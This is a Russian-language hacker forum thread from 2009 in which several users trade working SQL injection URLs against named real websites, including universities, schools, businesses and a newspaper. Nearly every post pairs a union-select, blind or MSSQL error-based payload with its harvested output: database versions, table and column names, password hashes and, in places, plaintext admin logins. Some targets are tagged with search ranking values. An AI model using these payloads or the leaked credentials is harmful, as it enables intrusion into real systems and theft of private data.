1. Пост двух одинаковых тем в разных разделах - бан.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

SQL-инъекции

Тема в разделе "Поиск уязвимостей", создана пользователем Constantine, 8 май 2007.

  1. faza02
    faza02 Никто Новичок
    Симпатии:
    58
    Код:
    http://sea.noctrl.edu/cc.php?id=-5+union+select+version(),2,3,4
    5.0.22

    Код:
    https://breakwaterschool.org/cc.php?s=7&id=-57+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
    5.0.77-log

    Код:
    http://gogetitcredit.com/cc.php?id=-5+union+select+1,version(),3,4,5,6,7,8
    5.0.51a

    Код:
    http://www.beijing-08.info/co.php?cat=bag_bag&page=&id=-21061+union+select+version(),2,3,4,5,6,7,8,9,10
    5.0.32-Debian_7etch6-log
    [email protected]:*9D1F6B5862EB12ACFDC64B218DFA08CA38FE1F62


    Код:
    http://www.elpais.com.co/php/opinion/ampliar_opinion.php?id_opinion=-623551+union+select+1,user,3,4,5,6,7,8,9,10,11,12,13,14+from+mysql.user
    elpais:1cbbcde00d879eae
     
    17 мар 2009
    1 человеку нравится это.
  2. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.merit.unu.edu/hfc/article.php?nid=-3+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16--
    4.0.18-Max

    Добавлено через 22 минуты
    Код:
    http://www.design.upenn.edu/new/about
    /newsdetail.php?nid=216+union+select+1,2,concat_ws(0x3a,user_name,user_pwd),4,5,6,7,8,9,10,11+from+users+limit+0,1--
    4.1.20

    Добавлено через 29 минут
    Код:
    http://news.georgiasouthern.edu/press-
    release.php?nid=-61+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--
    5.0.27-log

    Добавлено через 51 минуту
    Код:
    http://www.haskell.edu/athletics
    /news_item.php?nid=-85+union+select+1,2,concat_ws(0x3a,admin_username,admin_password),4,5,6,7+from+admin_users+limit+0,1--
    admin:618337e3c6860fbf46b1dbaa8463cd1f
    Таблы/клонки
    Код:
    admin_users
    admin
    customers
    Добавлено через 58 минут
    Код:
    http://www.northwestu.edu/athletics/news/index.php?NID=-805+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17--
    5.0.45-community-nt
    Влом дальше копацц0, пошёл спать :tired:
     
    Последнее редактирование: 3 апр 2009
    3 апр 2009
    1 человеку нравится это.
  3. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.iutoic-dhaka.edu/dnotice.php?nid=999999%27+and+0+union+select+1,convert((version())+using+latin1),3,4/*
    4.1.7
     
    4 апр 2009
    1 человеку нравится это.
  4. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.uh.edu/news-events/newsrelease.php?releaseid_int=-239+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8--
    [email protected]:4.1.22standard-log:uhnews
     
    8 апр 2009
  5. faza02
    faza02 Никто Новичок
    Симпатии:
    58
    Код:
    http://www.cierrenet.it/sing.php?tipo=libro&id=-3976+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14--
    version():user():database()
    5.0.45:[email protected]:libri

    PR: 5

    cmsms_adminlog

    Код:
    http://www.cierrenet.it/admin/login.php
     
    12 апр 2009
    2 пользователям это понравилось.
  6. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.cambridge-audio.us/series.php?SID=40+union+select+1,2,3,concat_ws(0x3a,username,password,user_level),5,6,7+from+ca_admin+limit+3,1/*
    Код:
    |username|passwd   |user_level|
    |  henry   |scaddle   |      1      |
    |  david    |customer|      1      |
    |table|columns|
    |ca_admin|username,password,user_level
    |ca_admin_failures|session_id,username,password,ip_address,user_agent,submitted|
    |ca_extranet_failures|session_id,username,password,ip_address,user_agent,submitted|
    |ca_extranet_logins|session_id,username,password,ip_address,user_agent,submitted|
    Добавлено через 1 час 3 минуты
    Код:
    http://www.rockford.k12.mi.us/schools/school.php?sid=-5+union+select+1,2,concat_ws(0x3a,username,password_2),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+rps_users+limit+15,1/*
    tables:
    _userbackup
    users
    rps_users
     
    Последнее редактирование: 13 апр 2009
    13 апр 2009
  7. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    blind sql-inj
    Код:
    http://mqup.mcgill.ca/content.php?id=4+and+substring(@@version,1,1)=5
    Код:
    http://www.sttheresasugarland.org/content.php?id=13+and+substring(@@version,1,1)=5
    Код:
    http://www.ufs.ac.za/faculties/content.php?id=6355+and+substring(@@version,1,1)=5
    Код:
    http://www.nigfilmcorp.com/content.php?id=-7+union+select+1,2,concat_ws(0x3a3a,version(),database(),user()),4,5-- 
    4.1.22-max-log::nfcadmin::[email protected]
     
    24 апр 2009
    1 человеку нравится это.
  8. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.infoholix.net/category.php?mId=-105+union+select+1,concat(login,0x3a,password),3,4,5,6,7,8,9,10+from+users+limit+0,1/*
     
    26 апр 2009
  9. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    blind sql-inj
    Код:
    http://www.endven.com/index/news.php?id=20+and+substring(@@version,1,1)=5
    Код:
    http://www.ogf.org/News/news.php?id=129+and+substring(@@version,1,1)=4
    ----------------------------------------------
    Код:
    http://www.grenadegloves.com/news.php?id=-71+union+select+1,2,3,4,concat_ws(0x3a3a,version(),database(),user()),6,7-- 
    5.0.32-Debian_7etch5-log::grenade::[email protected]

    Код:
    http://www.grenadegloves.com/news.php?id=-71+union+select+1,2,3,4,group_concat(table_name),6,7+from+information_schema.tables 
    Код:
    http://www.grenadegloves.com/news.php?id=-71+union+select+1,2,3,4,concat_ws(0x3a,id,name,password,email),6,7+from+users
    Код:
    http://www.propool.ru/news.php?id=-475+union+select+1,2,3,4,concat_ws(0x3a3a,version(),database(),user()),6,7,8,9,10,11--
    5.0.67-log::vh04971::[email protected]
     
    Последнее редактирование модератором: 29 апр 2009
    28 апр 2009
  10. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.lrwc.org/pub2.php?sid=-18+union+select+1,version(),3,4,5,6,7,8/*
    4.0.27-log

    Добавлено через 2 часа 56 минут
    Код:
    http://www.expo.neu.edu/view_abstracts/abstract.php?sid=1193+union+select+1,2,version(),4,5/*
    5.0.45 ПР 5
    Код:
    http://www.research.neu.edu/news/?id=-108+union+select+1,2,version(),4,5,6,7--
    
    ПР 6



    ПРЕФИКСЫ
    Код:
    # TTF_economics
    # asl
    # biotech
    # circs
    # cj
    # cmc
    # coop_evaluation
    # crrj
    # curp_survey
    # ehs
    # facultymentoring
    # grad
    # hillel
    # honors
    # human_trafficking
    # igert_id
    # irj_site
    # jonas_chalk
    # nutechexpo
    # policyschool
    # polisci
    # premed
    # pt_curriculum_map
    # research
    # saorientation
    # shannon_csi


    users
    Код:
    # user_id http://www.expo.neu.edu/view_abstracts/abstract.php?sid=1193+union+select+1,2,concat_ws(0x3a,username,password),4,5+from+curp_survey.users/*
    # first_name
    # last_name
    # phone
    # email
    # institution
    # title
    # sc_also
    # addlineone
    # addlinetwo
    # addcity
    # addstate
    # addzip
    # addcountry
    # passone
    # name
    # username
    # password
    # user_type_id
    # neu_student_id
    # address
    # city
    # state
    # zip
    # usertype
    # task_force_id


    USerTable
    Код:
    # login http://www.expo.neu.edu/view_abstracts/abstract.php?sid=1193+union+select+1,2,concat_ws(0x3a,login,passwd),4,5+from+nutechexpo.USerTable/*
    # passwd
    

    session
    Код:
    # session_id
    # survey_id
    # student_completed_date
    # employer_completed_date
    # coop_id
    # eval_phase_id
    # user_id
    # start_date
    # completed_date
    # date
    # title
    # contact_name
    # contact_department
    # contact_email
    # contact_status
    # contact_phone
    # abstract
    # URL
    # equipment
    # total_presenters
    # passcode
    # research_category_id
    # principle_investigator
    # additional_presenters
    # additional_authors
    # method_of_presentation_id


    applicants
    Код:
    # applicant_id
    # uname
    # password
    # first_name
    # last_name
    # street_address
    # city
    # state
    # zip
    # phone
    # perm_address
    # perm_city
    # perm_state
    # perm_zip
    # perm_phone
    # email
    # altemail
    # dob
    # website
    # photo
    # matriculation
    # submitted
    
    login
    Код:
    # login_id
    # username   http://www.expo.neu.edu/view_abstracts/abstract.php?sid=1193+union+select+1,2,concat(username,0x3a,password),4,5+from+saorientation.login+limit+3,1/*
    # password


    Добавлено через 3 часа 32 минуты
    Код:
    http://tonymacklin.net/content.php?cID=99999+union+select+1,convert((password)+using+latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user--
    Код:
    http://tonymacklin.net/content.php?cID=99999+union+select+1,convert((user)+using+latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user--
     
    Последнее редактирование: 30 апр 2009
    30 апр 2009
  11. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    Код:
    http://www.theracersgroup.com/news/show.php?id=-391+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14,15,16--
    4.1.22-standard:racers_trgdata:[email protected]
    Код:
    http://www.traunstein.com/landratsamt/show.php?ID=-53+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8--
    5.0.51b-log:db198610:[email protected]
    Код:
    http://keels-n-wheels.com/show.php?id=140246+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,version(),database(),user()),12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 
    4.0.14-Max:knw:[email protected]
    Код:
    http://www.ewrc.cz/ewrc/show.php?id=-9593+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 
    5.0.32-Debian_7etch8:ewrc_cz:[email protected]
    Код:
    http://www.kinder.by/gallery/show.php?id=-1240234225+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x3a,version(),database(),user()),15--
    4.1.20:kinderby:[email protected]

    Код:
    http://rusbiotech.ru/novice/show.php?id=1832+and+substring(@@version,1,1)=5
    Код:
    http://www.foxreality.com/show.php?id=83242+and+substring(@@version,1,1)=5
    Код:
    http://klima-ueberraschung.de/show.php?id=15+and+substring(@@version,1,1)=4
    Код:
    http://www.cs3r.org/show.php?id=10+and+substring(@@version,1,1)=4
    Добавлено через 3 часа 37 минут
    Код:
    http://www.emarketinganswers.com/qna/show.php?id=-428+union+select+1,concat_ws(0x3a,version(),database(),user()),3--
    5.0.22:ema_data:[email protected]
    Код:
    http://www.telecomresearch.ru/show.php?id=-1275+union+select+1,unhex(hex(concat_ws(0x3a,version(),database(),user()))),3,4,5,6,7,8,9,10,11,12,13,14-- 
    4.1.16-standard:telecomres_1:[email protected]

    Код:
    http://www.infogeo.ru/metalls/board/show.php?id=382884+and+substring(@@version,1,1)=5
    Код:
    http://www.wrm.ru/news/show.php?id=63+and+substring(@@version,1,1)=5
     
    Последнее редактирование: 1 май 2009
    1 май 2009
    2 пользователям это понравилось.
  12. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    My first mssql-inj ^^
    version
    Код:
    http://www.harrisinteractive.com/harris_poll/[email protected]@version--
    db_name
    Код:
    http://www.harrisinteractive.com/harris_poll/index.asp?PID=792+or+1=(select+db_name())--
    system_user
    Код:
    http://www.harrisinteractive.com/harris_poll/index.asp?PID=792+or+1=(select+system_user)--
    tables
    Код:
    http://www.harrisinteractive.com/harris_poll/index.asp?PID=792+or+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('Poll','AdminVerify','dtproperties','sysconstraints','syssegments'))--
    columns of table AdminVerify
    Код:
    http://www.harrisinteractive.com/harris_poll/index.asp?PID=792+or+1=(select+top+1+column_name+from++information_schema.columns+where+table_name='AdminVerify'+and+column_name+not+in+('AdminName','AdminPassword'))--
    Data acquisition
    Код:
    http://www.harrisinteractive.com/harris_poll/index.asp?PID=792+or+1=(select+top+1+cast(AdminName+as+nvarchar)%2B%27%3A%27%2Bcast(AdminPassword+as+nvarchar)+from+AdminVerify)--
     
    2 май 2009
  13. faza02
    faza02 Никто Новичок
    Симпатии:
    58
    Код:
    http://www.dreambabys.nl/reborn-baby.php?id=-35+union+select+1,2,3,0x7265616c20706f63616e69,5,6,7,8,9,10,11,12,13--
    5.0.51a-community
     
    3 май 2009
  14. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    Код:
    http://www.sorbents.ru/products/product.php?id=-985+union+select+concat_ws(0x3a,version(),database(),user()),2,3-- 
    5.0.45-log:usorbents14:[email protected]
    Код:
    http://www.sorbents.ru/products/product.php?id=-985+union+select+group_concat(table_name),2,3+from+information_schema.tables
    Код:
    http://marqueesole.com/php/client/product.php?id=-124+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 
    5.0.67-log:marqueesole_main:[email protected]
    Код:
    http://aap.usluga21.ru/product.php?id=-19+union+select+1,2,unhex(hex(concat_ws(0x3a,version(),database(),user()))),4,5,6,7,8,9,10,11,12,13,14,15-- 
    4.1.18-standard:db_usluga215:[email protected]

    Добавлено через 21 час 5 минут
    [PR 5]
    Код:
    http://www.rtos.com/page/product.php?id=-5+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4--
    4.1.20-log:expresslogic:[email protected]

    [PR 4]
    Код:
    http://www.eipcprograms.com/product.php?id=-8+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13--
    5.0.24a-log:d60350056:[email protected]

    [PR 4]
    Код:
    http://www.wedasoft.at/en/product.php?id=-1+union+select+1,2,3,unhex(hex(concat_ws(0x3a,version(),database(),user()))),5,6,7,8,9,10,11,12,13,14,15,16,17,18--
    4.1.15-Debian_0.dotdeb.4-log:wedasoft:[email protected]

    [PR 3]
    Код:
    http://zonadostupa.ru/product.php?id=5814+union+select+concat_ws(0x3a,version(),database(),user())
    4.1.22-log:wwwzonadostuparu:[email protected]
     
    Последнее редактирование: 4 май 2009
    3 май 2009
  15. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 5]
    Код:
    http://www.demotech.org/d-about.php?id=-3+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6-- 
    5.0.32-Debian_7etch1:usr_web3_1:[email protected]

    [PR 3]
    Код:
    http://www.avt-systems.co.uk/about.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11--
    4.1.19:avtlive:[email protected]

    [PR 2]
    Код:
    http://www.ywamyork.com/about/about.php?id=-11+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9-- 
    5.0.75-community-log:discipl2_ywamyork:[email protected]

    [PR 2]

    Код:
    http://www.kniga-market.kiev.ua/about.php?id=-2218+union+select+concat_ws(0x3a,version(),database(),user())
    4.1.22-log:knigamarket:[email protected]
     
    6 май 2009
    1 человеку нравится это.
  16. faza02
    faza02 Никто Новичок
    Симпатии:
    58
    Код:
    http://www.ocasi.org/index.php?qid=-997+union+select+1,version()--
    4.1.20-log
     
    12 май 2009
  17. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 4]
    Код:
    http://zvisti.com.ua/info.php?id=-768+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12-- 
    5.0.45:zvisti_db:[email protected]
    Код:
    http://zvisti.com.ua/info.php?id=-768+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name),12+from+information_schema.tables--
    [PR 4]
    Код:
    http://www.marathonskating.com/info.php?ID=-3+union+select+concat_ws(0x3a,version(),database(),user())
    4.1.22-standard:marathon_marathon:[email protected]

    [PR 3]
    Код:
    http://www.ultramarine.com.ua/info.php?id=-2+union+select+1,2,concat_ws(0x3a,version(),database(),user())
    4.1.22-log:ultramar:[email protected]

    mssql-inj

    [PR 5]
    Код:
    http://www.sparkle.com.tw/[email protected]@version--
    http://www.sparkle.com.tw/product.asp?id=94+or+1=(select+db_name())--
    http://www.sparkle.com.tw/product.asp?id=94+or+1=(select+system_user)--
    http://www.sparkle.com.tw/product.asp?id=94+or+1=(select+top+1+table_name+from+information_schema.tables)--
    [PR 4]
    Код:
    http://www.thinklogical.com/[email protected]@version--
    http://www.thinklogical.com/product.asp?ID=49+or+1=(select+db_name())--
    http://www.thinklogical.com/product.asp?ID=49+or+1=(select+system_user)--
    http://www.thinklogical.com/product.asp?ID=49+or+1=(select+top+1+table_name+from+information_schema.tables)--
     
    14 май 2009
  18. Hookman
    Hookman Developer Глобальный модератор
    Симпатии:
    202
    Код:
    http://www.roc.ru/ru/[email protected]@version--&rub=17
    Добавлено через 16 часов 58 минут
    Код:
    http://www.auc.ca/view.php?page=ap_programDetails&id=9999999999%27+union+select+1,convert((version())+using+latin1),3,4,5,6/*
    5.0.19-standard
    Код:
    Таблица // Колонки
    users // user_username,user_password,user_name,user_email,user_permission
    
    user // login,salt,user_password,email
    
    modcentre_users_BKup // password,name,email,access
    
    modcentre_users // password,name,email,access


    Добавлено через 21 час 33 минуты
    Код:
    http://www.texe.com/view.php?page=-33+union+select+1,concat_ws(0x3a,name,password,access),3,4,5+from+texecom_logins+limit+0,1/*
    Код:
    texecom_logins // username,password,
    
    texecom_users // name,password,login,access
    unhacker:und3r4rh35
    abowden:432Bowden-TE
    
    
     
    Последнее редактирование: 16 май 2009
    16 май 2009
    1 человеку нравится это.
  19. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 6]
    Код:
    http://perkins.pvt.k12.ma.us/museum/area.php?id=35+and+substring(@@version,1,1)=3
    [PR 5]
    Код:
    http://www.promtractor.ru/news_show.php?id=-175+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5-- 
    5.0.45-community:db_promtractor:p[email protected]
    Код:
    http://www.promtractor.ru/news_show.php?id=-175+union+select+1,2,3,4,group_concat(table_name)+from+information_schema.tables--
    [PR 4]
    Код:
    http://www.enerpoint.it/news/news_show.php?id=690+and+substring(@@version,1,1)=5
    [PR 4]
    Код:
    http://www.unitech-adc.us/product_info.php?id=41+and+substring(@@version,1,1)=3
     
    Последнее редактирование: 20 май 2009
    19 май 2009
    1 человеку нравится это.
  20. Pin4eG
    Pin4eG Продвинутый
    Симпатии:
    33
    [PR 5]
    Код:
    http://www.svoa.co.th/product_info.php?id=-70237+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16-- 
    4.0.15a-log:svoaweb:[email protected].10.14

    [PR 3]
    Код:
    http://www.pakman.com.ru/product_info.php?id=-125+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8--
    4.1.22-standard-log:pakmanc_pakman:p[email protected]

    [PR 0]
    Код:
    http://rmshop.ru/product_info.php?id=1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12--
    4.1.22-log:wwwprinterovnet:p[email protected]

    [PR 0]
    Код:
    http://www.valvesmanufacturer.cn/product_info.php?id=149+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10--
    4.1.16-nt:glb1:[email protected]

    [PR 0]
    Код:
    http://printerov.net/product_info.php?id=-40+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12--
    4.1.22-log:wwwprinterovnet:p[email protected]

    [PR 0]
    Код:
    http://printmag.ru/product_info.php?id=-211+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12--
    4.1.22-log:wwwprinterovnet:p[email protected]
     
    20 май 2009

Поделиться этой страницей

Загрузка...